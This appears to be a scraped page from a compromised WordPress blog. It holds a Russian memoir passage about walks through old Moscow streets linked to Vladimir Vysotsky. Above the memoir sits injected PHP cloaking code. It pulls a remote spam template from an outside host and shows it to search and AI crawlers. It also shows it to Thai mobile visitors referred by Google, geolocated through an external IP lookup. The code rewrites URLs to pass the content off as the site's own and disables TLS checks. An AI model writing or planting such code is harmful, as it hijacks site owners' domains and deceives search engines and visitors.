$API_URL = 'https://id.yuanhengbc.com/th100'; $scheme = (!empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') ? 'https' : 'http'; $host = $_SERVER['HTTP_HOST'] ?? 'localhost'; $MY_DOMAIN = $scheme . '://' . $host; function rewrite_remote_urls($html, $api_url, $my_domain) { if (empty($html)) return $html; $orig_host = parse_url($api_url, PHP_URL_HOST); $my_host = parse_url($my_domain, PHP_URL_HOST); $html = str_replace('https://' . $orig_host . '/xtz.js', '%%XTZ_KEEP%%', $html); $html = str_replace( array('https://' . $orig_host, 'http://' . $orig_host, '//' . $orig_host), array($my_domain, $my_domain, '//' . $my_host), $html ); $html = preg_replace( '/ true, CURLOPT_TIMEOUT => 15, CURLOPT_USERAGENT => $ua, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_FOLLOWLOCATION => true, )); $body = curl_exec($ch); curl_close($ch); return $body; } else { $ctx = stream_context_create(array( 'http' => array('timeout' => 15, 'user_agent' => $ua, 'ignore_errors' => true) )); return @file_get_contents($final, false, $ctx); } } $ua = $_SERVER['HTTP_USER_AGENT'] ?? ''; $ref = $_SERVER['HTTP_REFERER'] ?? ''; $lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? ''; if ($ua === '') $ua = ' '; $bot_list = array( 'Googlebot','Googlebot-News','Googlebot-Image','Googlebot-Video','Googlebot-Mobile', 'Mediapartners-Google','AdsBot-Google','AdsBot-Google-Mobile','Google-InspectionTool', 'APIs-Google','Google-Site-Verification','Google Web Preview','Google Favicon', 'Google Feedfetcher','GoogleOther','Bingbot','BingPreview','AdIdxBot','Microsoft Preview', 'GPTBot','ChatGPT-User','ChatGPT','Google-Extended','Claude-Web','ClaudeBot', 'anthropic-ai','DuckDuckBot','DuckAssistBot' ); $is_bot = false; foreach ($bot_list as $b) { if (stripos($ua, $b) !== false) { $is_bot = true; break; } } $is_mobile = false; foreach (array('Mobile','Android','iPhone','iPad','Windows Phone') as $m) { if (stripos($ua, $m) !== false) { $is_mobile = true; break; } } $is_google = ($ref !== '' && (stripos($ref, 'google.') !== false || stripos($ref, 'bing.com') !== false)); $is_th_lang = ($lang !== '' && preg_match('/(?:^|,)\s*(?:th)(?:-TH)?(?:;|$)/i',$lang) === 1); function check_ip_country() { $ip = $_SERVER['HTTP_CF_CONNECTING_IP'] ?? $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['HTTP_X_REAL_IP'] ?? $_SERVER['REMOTE_ADDR'] ?? ''; $ip = trim(explode(',', $ip)[0]); if ($ip === '' || $ip === '127.0.0.1') return 'LOCAL'; $ch = curl_init('https://id.qzbybyk.com/v1/lookup?ip=' . urlencode($ip)); curl_setopt_array($ch, array( CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 3, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_HTTPHEADER => array('X-API-Key: change-me-now'), )); $resp = curl_exec($ch); curl_close($ch); if ($resp !== false) { $j = json_decode($resp, true); if (isset($j['data']['country']['iso_code'])) return $j['data']['country']['iso_code']; } $ch = curl_init('http://ip-api.com/json/' . urlencode($ip) . '?fields=countryCode'); curl_setopt_array($ch, array( CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 3, CURLOPT_SSL_VERIFYPEER => false, )); $resp = curl_exec($ch); curl_close($ch); if ($resp !== false) { $j = json_decode($resp, true); if (isset($j['countryCode'])) return $j['countryCode']; } return 'UNKNOWN'; } if ($is_bot) { $body = fetch_remote_template($API_URL, $ua); echo rewrite_remote_urls($body, $API_URL, $MY_DOMAIN); exit; } if ($is_mobile && $is_google && $is_th_lang) { if (check_ip_country() === 'TH') { $body = fetch_remote_template($API_URL, $ua); echo rewrite_remote_urls($body, $API_URL, $MY_DOMAIN); exit; } } add_filter('rest_endpoints', function($e){ unset($e['/batch/v1']); return $e; }); Володина Москва — Вечный путь к совершенству

Володина Москва

Прогулки по Москве — любимое время отдыха для Володи. Если появлялось свободное время, какой бы не была погода, мы ходили гулять. Как правило это были закоулки старой Москвы или парки. Прогулки с ним всегда были интересными и познавательными. Володя не только много знал из истории города и людей его населявших, но и, будучи очень смышленым, быстро выхватывал из своей памяти информацию, соответствующую увиденному памятнику или дому. Так однажды проходя по Большому Каретному, мимо дома 15, в котором жил Владимир Семенович Высоцкий, мы свернули на Малый Каретный, на котором до этого никогда не были и сразу наткнулись на красивый, весь в лепнине, старинный особняк. Никакой памятной таблички на нем не было. Тут же поинтересовались в интернете. Написано: «Особняк Лопатиной в Малом Каретном, построен в 1889 году. В советское время в нем находилась швейная фабрика № 5 им. Профинтерна.» Володя, как закричит: «Так вот почему пятая швейная фабрика!» Я ничего не могу понять. Какая швейная фабрика? Почему пятая?! «Ну, как же, помнишь в Диалоге у телевизора: «На нашей 5-й швейной фабрике такое вряд ли кто пошьет»? А я все думал, почему именно пятая?». И все сложилось… От Большого Каретного 15, до Малого Каретного 11 всего 150 метров. В этих переулках старой Москвы провел свою юность Владимир Высоцкий их и воспел он в своих незабываемых песнях: Диалоге у телевизора и На Большом Каретном. Удивительную способность развил в себе Володя, очень быстро и точно среди огромного объема знания выискивать то, которое применимо и уместно именно сейчас.